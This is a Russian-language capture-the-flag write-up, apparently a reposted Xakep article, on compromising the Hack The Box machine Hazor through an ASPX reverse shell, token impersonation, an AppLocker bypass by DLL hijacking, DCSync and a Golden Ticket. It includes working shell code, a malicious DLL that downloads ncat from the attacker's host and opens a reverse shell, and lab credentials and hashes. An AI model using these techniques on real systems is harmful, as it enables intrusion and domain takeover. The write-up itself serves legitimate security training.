Хакер - HTB Hazor. Обходим AppLocker и атакуем AD при помощи DCSync и PassTheTicket

Хакер - HTB Hazor. Обходим AppLocker и атакуем AD при помощи DCSync и PassTheTicket

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Пользователь BeatriceMill
  • Модернизация ASPX-шелла
  • Пользователь GinaWild
  • Локальное повышение привилегий
  • Пользователь bpassrunner
  • DCSync
  • Golden Ticket

В этом рай­тапе я покажу, как исполь­зовать и дорабо­тать бэк­шелл на ASP.NET, затем обой­дем полити­ки AppLocker с помощью DLL Hijacking, а в кон­це при­меним популяр­ные ата­ки DCSync и PassTheTicket для получе­ния пол­ного дос­тупа к хос­ту.

По­лиго­ном для наших упражне­ний пос­лужит учеб­ная машина Hazor с пло­щад­ки Hack The Box. Уро­вень слож­ности — «безум­ный»!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Пер­вым делом, как всег­да, добав­ляем IP-адрес машины в /etc/hosts:

10.10.11.147    hazor.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­ли мно­жес­тво пор­тов, что типич­но для Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 — служ­ба уда­лен­ного управле­ния (WinRM);
  • 9389 — веб‑служ­бы AD DS.

Nmap авто­мати­чес­ки показы­вает информа­цию из сер­тифика­тов. Имен­но так мы узна­ем о новых доменах, которые добавим в /etc/hosts.

10.10.11.147 hazor.htb hathor.windcorp.htb windcorp.htb

Справка: robots.txt

Этот файл исполь­зует­ся для того, что­бы поп­росить кра­уле­ры (нап­ример, Google или Яндекс) не тро­гать какие‑то опре­делен­ные катало­ги. Ник­то не хочет, к при­меру, что­бы в поис­ковой выдаче появ­лялись стра­ницы авто­риза­ции адми­нис­тра­торов сай­та, фай­лы или пер­сональ­ная информа­ция со стра­ниц поль­зовате­лей и про­чие вещи в таком духе. Одна­ко и зло­умыш­ленни­ки пер­вым делом прос­матри­вают этот файл, что­бы узнать о фай­лах и катало­гах, которые стре­мит­ся спря­тать адми­нис­тра­тор сай­та.

В нашем robots.txt аж 29 скры­тых катало­гов, в том чис­ле и админка.

Стар­товая стра­ница сай­та

К сожале­нию, прос­мотрев все стра­ницы, я ничего инте­рес­ного не нашел. Но на сай­те есть воз­можность зарегис­три­ровать­ся и авто­ризо­вать­ся, что обыч­но откры­вает еще боль­ший прос­тор для атак.

Па­нель авто­риза­ции и регис­тра­ции

ТОЧКА ВХОДА

Вой­дя в сис­тему как поль­зователь, сра­зу уви­дим спи­сок всех акка­унтов.

Спи­сок зарегис­три­рован­ных поль­зовате­лей

В основном ничего инте­рес­ного нет, поэто­му перей­дем к ска­ниро­ванию скры­тых катало­гов. Сов­сем не факт, что все они были перечис­лены в robots.txt, так что рас­чехля­ем ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL.

ffuf -u 'http://windcorp.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Из мно­жес­тва стра­ниц в выводе есть те, которые воз­вра­щают код 200, одна из них — filemanager, но она нам недос­тупна.

Со­обще­ние о зап­рете дос­тупа

Ни­чего боль­ше не обна­ружив, я решил поп­робовать авто­ризо­вать­ся с помощью спис­ка дефол­тных уче­ток. И от име­ни admin@admin.com : admin авто­ризо­вал­ся как адми­нис­тра­тор сай­та.

Па­нель адми­нис­тра­тора сай­та

ТОЧКА ОПОРЫ

Мы наш­ли фай­ловое хра­нили­ще, зна­чит, поп­робу­ем заг­рузить реверс‑шелл и получить RCE. Так как исполь­зует­ся веб‑сер­вер IIS, заг­рузим шелл на ASPX. В нем нам нуж­но будет лишь ука­зать адрес, хост и порт для под­клю­чения.

Из­менен­ный код реверс‑шел­ла

За­тем поп­робу­ем заг­рузить файл — и получим сооб­щение об ошиб­ке: фай­лы таких типов заг­ружать нель­зя.

Со­обще­ние об ошиб­ке

Но мы можем заг­рузить файл как HTML, а потом с помощью штат­ных средств сис­темы пере­име­новать его в .aspx. Для это­го копиру­ем файл через кон­текс­тное меню и ука­зыва­ем новое имя.

Ко­пиро­вание фай­ла через кон­текс­тное меню
Но­вое имя фай­ла

Все прош­ло без оши­бок, поэто­му коман­дой откры­ваем лис­тенер:

rlwrap -cAr nc -lvnp 4321

И обра­щаем­ся к заг­ружен­ному фай­лу:

http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx

При­нятый бэк­коннект

Та­ким обра­зом мы получа­ем дос­туп в сис­тему.

ПРОДВИЖЕНИЕ

Пользователь BeatriceMill

Ос­матри­ваясь на машине, натыка­емся на катало­ги script и Get-bADpassword.

![Содер­жимое катало­га C:\](https://static.xakep.ru/articles/21112022/15.png)

Нач­нем с Get-bADpassword, он содер­жит мно­го скрип­тов на PowerShell и дос­тупен на GitHub. Отме­чаем, что для его работы необ­ходима при­виле­гия для реп­ликации дан­ных домена.

Со­дер­жимое катало­га Get-bADpassword

Боль­шинс­тво скрип­тов одно­тип­ны, но, помимо них, есть один файл на VBScript.

Со­дер­жимое фай­ла run.vbs

При запус­ке скрип­та в жур­нале при­ложе­ния (параметр /L) будет соз­дано событие "Check passwords" (/D) типа Information (/T) с иден­тифика­тором 444. Осматри­ваясь даль­ше в катало­ге Accessible, находим опи­сание прог­раммы, а так­же спис­ки паролей и логи.

Со­дер­жимое катало­га Accessible

Опи­сание под­твержда­ет, что логи при­ложе­ния будут рас­положе­ны в катало­ге Logs.

Со­дер­жимое фай­ла info.txt
Со­дер­жимое катало­га Logs

Прос­матри­вая эти фай­лы, отме­чаем инте­рес­ное событие. Во вре­мя ауди­та прог­рамма опре­дели­ла пароль поль­зовате­ля BeatriceMill.

Со­дер­жимое логов

Поп­робу­ем най­ти этот пароль. Для каж­дого лога есть файл CSV, в одном из которых и находим хеш пароля.

Со­дер­жимое катало­га CSVs
Со­дер­жимое фай­ла с резуль­татом ауди­та

Хеш похож на резуль­тат алго­рит­ма MD5, его луч­ше все­го гуг­лить в онлай­новых базах (нап­ример, crackstation.net). Таким обра­зом и получим пароль поль­зовате­ля.

Ре­зуль­тат поис­ка про­обра­за хеша в базе

Вот толь­ко этот пароль не поз­воля­ет авто­ризо­вать­ся на SMB и WinRM, что мож­но про­верить с помощью CrackMapExec.

cme smb 10.10.11.147 -u BeatriceMill -p '!!!!ilovegood17' -d windcorp.htb

Про­вер­ка учет­ных дан­ных на SMB-ресур­се

Но мож­но про­верить на LDAP, а заод­но получить и спи­сок дру­гих поль­зовате­лей.

ldapsearch -x -h hazor.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "CN=Users,DC=windcorp,DC=htb"

Про­вер­ка учет­ных дан­ных на LDAP

Так как учет­ные дан­ные вер­ны, но под­клю­чить­ся к нуж­ным служ­бам мы не можем, поп­робу­ем имперсо­ниро­вать дру­гого поль­зовате­ля. Прав­да, запус­кать прог­раммы из раз­ряда RunAS не получит­ся, так как акти­вен AppLocker. Давай нем­ного изме­ним наш реверc-шелл. 

Модернизация ASPX-шелла

Под имперсо­нали­заци­ей поль­зовате­ля понима­ется получе­ние и при­мене­ние его токена дос­тупа. Для это­го нам понадо­бят­ся три WinAPI-фун­кции:

  • LogonUserA — получе­ние токена поль­зовате­ля по пре­дос­тавлен­ным учет­ным дан­ным;
  • DuplicateToken — соз­дание копии токена;
  • RevertToSelf — воз­врат кон­тек­ста.

Пер­вым делом в импорт нашего реверс‑шел­ла добавим новые модули.

<%@ Import Namespace = "System.Web" %>

<%@ Import Namespace = "System.Web.Security" %>

<%@ Import Namespace = "System.Security.Principal" %>

<%@ Import Namespace = "System.Runtime.InteropServices" %>

За­тем добавим объ­явле­ние этих фун­кций.

[DllImport("advapi32.dll")]

public static extern int LogonUserA(String lpszUserName, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]

public static extern int DuplicateToken(IntPtr hToken, int impersonationLevel, ref IntPtr hNewToken);

[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]

public static extern bool RevertToSelf();

На­пишем фун­кцию, которая получа­ет токен целево­го поль­зовате­ля и при­меня­ет его в текущий кон­текст.

private bool impersonateUser(String userName, String domain, String password) {

WindowsIdentity windowsIdentity;

WindowsImpersonationContext windowsImpersonationContext;

IntPtr token = IntPtr.Zero;

IntPtr tokenDuplicate = IntPtr.Zero;

if(RevertToSelf()) {

if(LogonUserA(userName, domain, password, 2, 0, ref token)!= 0) {

if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) {

windowsIdentity = new WindowsIdentity(tokenDuplicate);

WindowsImpersonationContext windowsImpersonationContext = windowsIdentity.Impersonate();

if (windowsImpersonationContext != null) {

CloseHandle(token);

CloseHandle(tokenDuplicate);

return true;

}

}

}

}

if(token!= IntPtr.Zero)

CloseHandle(token);

if(tokenDuplicate!=IntPtr.Zero)

CloseHandle(tokenDuplicate);

return false;

}

Те­перь вне­сем прав­ки в фун­кцию SpawnProcessAsPriv, которая извле­чет токен из текуще­го кон­тек­ста, выпол­нит его копию и передаст в фун­кцию CreateProcessAsUser.

protected void SpawnProcessAsPriv(IntPtr oursocket) {

bool retValue;

string Application = Environment.GetEnvironmentVariable("comspec");

PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();

STARTUPINFO sInfo = new STARTUPINFO();

SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();

IntPtr Token = new IntPtr(0);

IntPtr DupeToken = new IntPtr(0);

bool ret;

SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

sa.bInheritHandle = false;

sa.Length = Marshal.SizeOf(sa);

sa.lpSecurityDescriptor = (IntPtr)0;

Token = WindowsIdentity.GetCurrent().Token;

const uint GENERIC_ALL = 0x10000000;

const int SecurityImpersonation = 2;

const int TokenType = 1;

ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupeToken);

pSec.Length = Marshal.SizeOf(pSec);

sInfo.dwFlags = 0x00000101;

sInfo.hStdInput = oursocket;

sInfo.hStdOutput = oursocket;

sInfo.hStdError = oursocket;

if (DupeToken == IntPtr.Zero)

retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);

else

retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);

WaitForSingleObject(pInfo.hProcess, (int)INFINITE);

CloseHandle(DupeToken);

}

До­бавим impersonateUser в основную фун­кцию Page_Load.

protected void Page_Load(object sender, EventArgs e) {

String host = "10.10.14.82";

int port = 1234;

impersonateUser("BeatriceMill", "windcorp.htb", "!!!!ilovegood17");

CallbackShell(host, port);

}

Пов­торим все манипу­ляции с веб‑ресур­сом, но переда­дим уже новый шелл и получим бэк­коннет в кон­тек­сте дру­гого поль­зовате­ля.

Сес­сия поль­зовате­ля BeatriceMill

Пользователь GinaWild

Те­перь перей­дем к дру­гому най­ден­ному катало­гу — C:\share.

Со­дер­жимое катало­га share

Тут обна­ружи­ваем два исполня­емых фай­ла: Bginfo64.exe и AutoIt3_x64.exe, а так­же каталог scripts. Так как эти фай­лы уже были на машине, най­дем для них пра­вила AppLocker.

Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

Пра­вило для прог­раммы Bginfo64.exe

Как сле­дует из спис­ка дос­тупа, мы можем запус­катьBginfo64.exe, но не изме­нять его.

icacls C:\share\Bginfo64.exe

Спи­сок дос­тупа для Bginfo64.exe

В спис­ке про­цес­сов отсле­жива­ем регуляр­но запус­каемую прог­рамму Auto_It3_x64.

Спи­сок про­цес­сов

А вот в катало­ге scripts мы можем переза­писать DLL 7-zip64.dll.

Спи­сок дос­тупа для 7-zip64.dll

Про­цесс Auto_It3 запус­кает­ся от име­ни дру­гого поль­зовате­ля. Давай напишем DLL, которая с помощью коман­ды takeown сме­нит вла­дель­ца раз­решен­ной для запус­ка Bginfo64.exe, а затем даст всем пол­ный дос­туп к это­му фай­лу с помощью icacls. Затем с помощью curl заг­рузит netcat, переза­пишет Bginfo64.exe и под­клю­чит­ся к нашему хос­ту.

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call) {

case DLL_PROCESS_ATTACH:

system("takeown /f C:\\share\\Bginfo64.exe");

system("icacls C:\\share\\Bginfo64.exe /grant Everyone:F /T");

system("curl 10.10.14.26/ncat.exe -o c:\\share\\Bginfo64.exe");

system("C:\\share\\Bginfo64.exe 10.10.14.26 5432 -e cmd.exe");

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

За­тем ком­пилиру­ем DLL с помощью gcc:

x86_64-w64-mingw32-gcc -shared -o 7-zip64.dll dll.c

От­кро­ем лис­тенер (rlwrap -cAr nc -lvnp 5432) на локаль­ном хос­те и уже на хос­те переза­пишем DLL:

curl http://10.10.14.26/7-zip64.dll -o C:\share\scripts\7-zip64.dll

Ос­танет­ся нем­ного подож­дать, а затем заметим в логах локаль­ного веб‑сер­вера заг­рузку ncat.

Ло­ги веб‑сер­вера

И тут же при­лета­ет бэк­коннект.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пользователь bpassrunner

Еще раз походим по катало­гам и заг­лянем в кор­зину: C:\$Recycle.Bin.

Со­дер­жимое кор­зины

Нам нуж­но узнать SID сво­его поль­зовате­ля. В этом поможет прос­тая коман­да whoami /all.

SID поль­зовате­ля

Те­перь мы можем прос­мотреть спи­сок фай­лов, уда­лен­ных под­кон­троль­ным нам поль­зовате­лем, и най­дем там сер­тификат!

Уда­лен­ные фай­лы

Ска­чива­ем файл на локаль­ную машину, и при попыт­ке прос­мотреть сер­тификат у нас спро­сят пароль.

Зап­рос пароля для сер­тифика­та

Мы можем пре­обра­зовать файл с помощью pfx2john в фор­мат прог­раммы John The Ripper для бру­та пароля. А потом и получить сам пароль.

pfx2john.py cert.pfx

Пре­обра­зова­ние фай­ла в фор­ма JTR

john --wordlist=rockyou.txt hash

Брут пароля

И получа­ем пароль. Если заново открыть сер­тификат, то мож­но узнать, что он слу­жит для под­писи кода. А если учесть, что поль­зователь сос­тоит в груп­пе ITDep, то получа­ется, что мы можем переза­писать скрип­ты на PowerShell. Теперь это ста­новит­ся акту­аль­ным, так как мы можем под­писать новый скрипт!

Груп­пы поль­зовате­ля ginawild

Пе­рене­сем сер­тификат из кор­зины в каталог Temp и добавим в хра­нили­ще сер­тифика­тов поль­зовате­ля.

copy c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Windows\temp\cert.pfx

certutil -user -p abceasyas123 -importpfx C:\Windows\temp\cert.pfx NoChain,NoRoot

Со­обще­ние об успешном импорте сер­тифика­та

Про­верим, дей­стви­тель­но ли сер­тификат был добав­лен в хра­нили­ще.

powershell

$certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert

$certs[0]

До­бав­ленный сер­тификат

А теперь запишем реверс‑шелл в файл Get-bADpasswords.ps1 и под­пишем соз­данный скрипт.

echo C:\share\Bginfo64.exe 10.10.14.3 7654 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1

Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0]

Со­обще­ние о валид­ной под­писи скрип­та

Так­же сра­зу убе­дим­ся, что код под­писан.

type C:\Get-bADpasswords\Get-bADpasswords.ps1

Со­дер­жимое фай­ла Get-bADpasswords.ps1

Пом­нишь, что при запус­ке фай­ла соз­дает­ся событие Check passwords? Откро­ем реверс‑шелл:

rlwrap -cAr nc -lvnp 7654

И соз­дадим ука­зан­ное событие вруч­ную.

eventcreate /T Information /ID 444 /L Application /D "Check passwords"

Ло­ги лис­тенера

Со­еди­нение с лис­тенером было соз­дано и сра­зу разор­вано. Видимо, сес­сия дол­го не дер­жится, поэто­му я решил сна­чала выпол­нять коман­ду, а потом отправ­лять резуль­тат ее выпол­нения. Для это­го нуж­но сно­ва переза­писать и под­писать скрипт, а затем соз­дать событие.

echo "whoami /all | C:\share\Bginfo64.exe 10.10.14.3 7654" > C:\Get-bADpasswords\Get-bADpasswords.ps1

Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0]

eventcreate /T Information /ID 444 /L Application /D "Check passwords"

Ре­зуль­тат выпол­нения коман­ды whoami /all

И получа­ем воз­можность выпол­нять коман­ды в кон­тек­сте нового поль­зовате­ля! При этом пом­ним, что Get-bADpasswords выпол­няет­ся, зна­чит, поль­зователь может реп­лициро­вать дан­ные домена, а это откры­вает путь к ата­ке DCSync. 

DCSync

Ата­ка DCSync — это обыч­ный зап­рос на реп­ликацию дан­ных через про­токол реп­ликации катало­гов DRS. Кли­ент отправ­ляет зап­рос DSGetNCChanges на сер­вер, ког­да хочет получать от него обновле­ния объ­ектов AD. Ответ содер­жит набор обновле­ний, которые кли­ент дол­жен при­менить к сво­ей реп­лике NC. Нас, конеч­но, боль­ше все­го инте­ресу­ют сек­реты и учет­ные дан­ные. Выпол­нить DCSync мож­но с помощью скрип­тле­та Get-ADReplAccount. Извле­кать дан­ные будем уже при­выч­ным нам спо­собом.

Get-ADReplAccount -All -NamingContext 'DC=windcorp,DC=htb' -server Hathor

Учет­ные дан­ные адми­нис­тра­тора домена

Но NTLM-аутен­тифика­ция отклю­чена, поэто­му учет­ка адми­нис­тра­тора нам ничего не дает.

impacket-smbclient windcorp.htb/administrator@hathor.windcorp.htb -hashes :b3ff8d7532eef396a5347ed33933030f -dc-ip hathor.windcorp.htb

По­пыт­ка PassTheHash к SMB

Но есть и дру­гой спо­соб. 

Golden Ticket

Аутен­тифика­ция NTLM отклю­чена, а вот Kerberos — нет. В этом слу­чае мы можем поп­робовать зап­росить золотой билет. Для это­го нам нужен NT-хеш пароля учет­ной записи krbtgt и SID домена. Все это есть в том же ска­не.

Ин­форма­ция об акка­унте krbtgt

Те­перь мож­но генери­ровать билет.

ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb administrator

Ге­нера­ция golden ticket

Би­лет сох­ранен в файл.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page